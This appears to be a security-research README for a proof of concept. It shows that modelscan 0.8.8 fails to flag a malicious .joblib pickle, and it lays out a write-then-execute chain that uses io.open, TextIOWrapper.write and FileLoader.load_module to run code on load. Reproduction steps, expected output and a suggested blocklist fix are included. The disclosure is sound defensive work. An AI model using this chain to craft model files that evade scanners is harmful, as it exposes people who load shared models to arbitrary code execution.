PoC: modelscan bypass via _io.TextIOWrapper.write + FileLoader.load_module
Security research proof-of-concept.
Demonstrates that modelscan (v0.8.8) fails to detect a malicious .joblib file that achieves arbitrary code execution using only standard-library primitives absent from unsafe_globals.
Vulnerability summary
modelscan uses a blocklist of dangerous GLOBAL opcodes to detect malicious pickle payloads. Six primitives required for a self-contained write-then-execute RCE chain are entirely absent from the blocklist:
| GLOBAL opcode | Why it bypasses modelscan |
|---|---|
io open |
"io" key absent from unsafe_globals |
_io TextIOWrapper.write |
"_io" key entirely absent from modelscan settings |
_io TextIOWrapper.flush |
Same |
_io TextIOWrapper.close |
Same |
_frozen_importlib_external SourceFileLoader |
Not listed at any severity level |
_frozen_importlib_external FileLoader.load_module |
Same |
modelscan reports zero issues. joblib.load() executes attacker-controlled code.
Attack chain (single joblib.load() call, no preconditions)
io.open("/tmp/_poc.py", "w") -> writable file handle fh
_io.TextIOWrapper.write(fh, "import os; os.system('id')") -> writes code to disk
_io.TextIOWrapper.flush(fh) + close(fh)
SourceFileLoader("x", "/tmp/_poc.py") -> loader
FileLoader.load_module(loader, "x") -> executes /tmp/_poc.py -> RCE
No marshal, no types.FunctionType, no os.system, no subprocess.
Reproduce
# Install dependencies
pip install modelscan joblib
# Clone this repo
git clone https://huggingface.co/Steven-Ni/modelscan-bypass-poc
cd modelscan-bypass-poc
# Generate payload (or use pre-built bypass.joblib)
python generate_payload.py
# Run full reproduction
python reproduce.py
Expected output
============================================================
STEP 1: modelscan scan
============================================================
modelscan version : 0.8.8
total_issues : 0
-> CLEAN (false negative confirmed)
============================================================
STEP 2: joblib.load() - payload executes
============================================================
[PoC] _io.TextIOWrapper.write + FileLoader.load_module bypass
[PoC] running as: uid=1000(user) gid=1000(user) groups=...
[PoC] hostname : victim-machine
============================================================
BYPASS CONFIRMED
modelscan reported zero issues.
joblib.load() executed attacker-controlled code.
============================================================
Affected version
| Package | Version | Status |
|---|---|---|
| modelscan | 0.8.8 (latest) | Vulnerable |
Technique novelty
Prior published write-then-execute chains use _frozen_importlib_external._write_atomic() as the write primitive. This PoC uses io.open + _io.TextIOWrapper.write — a distinct primitive with no prior CVE, GHSA, or public PoC.
Suggested fix
# modelscan/settings.py
"CRITICAL": {
...
"io": ["open"],
"_io": ["TextIOWrapper", "FileIO"],
"_frozen_importlib_external": "*",
"_frozen_importlib": "*",
}